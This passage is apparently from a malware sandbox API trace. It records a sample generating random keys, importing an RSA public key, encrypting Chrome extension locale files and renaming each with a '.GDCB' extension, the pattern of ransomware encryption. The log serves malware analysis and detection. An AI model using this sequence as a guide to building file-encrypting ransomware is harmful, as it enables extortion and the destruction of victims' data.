dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a060) returned 1 [0272.102] CryptGetKeyParam (in: hKey=0x679a060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.102] CryptEncrypt (in: hKey=0x679a060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.102] GetLastError () returned 0x0 [0272.102] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.102] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.103] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.106] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.108] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x150, lpOverlapped=0x0) returned 1 [0272.115] VirtualAlloc (lpAddress=0x0, dwSize=0x150, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.122] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.gdcb")) returned 1 [0272.127] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.130] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.132] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.132] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.132] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.132] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.135] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.137] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.137] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.137] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.139] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799c20) returned 1 [0272.139] CryptGetKeyParam (in: hKey=0x6799c20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.139] CryptEncrypt (in: hKey=0x6799c20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.140] GetLastError () returned 0x0 [0272.140] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.140] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.142] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a0a0) returned 1 [0272.142] CryptGetKeyParam (in: hKey=0x679a0a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.142] CryptEncrypt (in: hKey=0x679a0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.142] GetLastError () returned 0x0 [0272.142] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.142] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.143] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.146] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.148] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x115, lpOverlapped=0x0) returned 1 [0272.156] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.162] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.gdcb")) returned 1 [0272.167] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.170] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.172] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.172] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.172] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.173] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.175] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.177] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.177] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.177] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.177] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.180] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679a020) returned 1 [0272.180] CryptGetKeyParam (in: hKey=0x679a020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.180] CryptEncrypt (in: hKey=0x679a020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.180] GetLastError () returned 0x0 [0272.180] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.180] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.182] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799920) returned 1 [0272.182] CryptGetKeyParam (in: hKey=0x6799920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.182] CryptEncrypt (in: hKey=0x6799920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.182] GetLastError () returned 0x0 [0272.182] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.182] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.186] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.188] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x125, lpOverlapped=0x0) returned 1 [0272.196] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.203] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.gdcb")) returned 1 [0272.208] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.211] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.213] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.213] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.213] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.213] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.215] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.217] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.217] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.217] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.217] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.228] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799da0) returned 1 [0272.228] CryptGetKeyParam (in: hKey=0x6799da0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.228] CryptEncrypt (in: hKey=0x6799da0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.228] GetLastError () returned 0x0 [0272.228] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.228] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.230] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799f60) returned 1 [0272.230] CryptGetKeyParam (in: hKey=0x6799f60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.230] CryptEncrypt (in: hKey=0x6799f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.230] GetLastError () returned 0x0 [0272.230] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.230] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.231] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.234] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.237] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xcd, lpOverlapped=0x0) returned 1 [0272.245] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.252] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.gdcb")) returned 1 [0272.257] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.261] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.263] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.263] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.263] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.263] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0272.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.268] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.268] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.268] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.269] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0272.271] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67998e0) returned 1 [0272.271] CryptGetKeyParam (in: hKey=0x67998e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.271] CryptEncrypt (in: hKey=0x67998e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.271] GetLastError () returned 0x0 [0272.271] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0272.271] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0272.273] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799ba0) returned 1 [0272.273] CryptGetKeyParam (in: hKey=0x6799ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.273] CryptEncrypt (in: hKey=0x6799ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0272.273] GetLastError () returned 0x0 [0272.273] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0272.273] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0272.275] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0272.277] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0272.280] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x115, lpOverlapped=0x0) returned 1 [0272.288] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0272.298] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.gdcb")) returned 1 [0272.304] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.306] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.308] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.308] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0272.308] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.309] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0272.311] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0272.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0272.313] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0272.313] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.313] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0272.315] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799a20) returned 1 [0272.315] CryptGetKeyParam (in: hKey=0x6799a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0272.315] CryptEncrypt (in: hKey=0x6799a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0272.316] GetLastError () returned 0x0 [0272.316] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0272.316] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 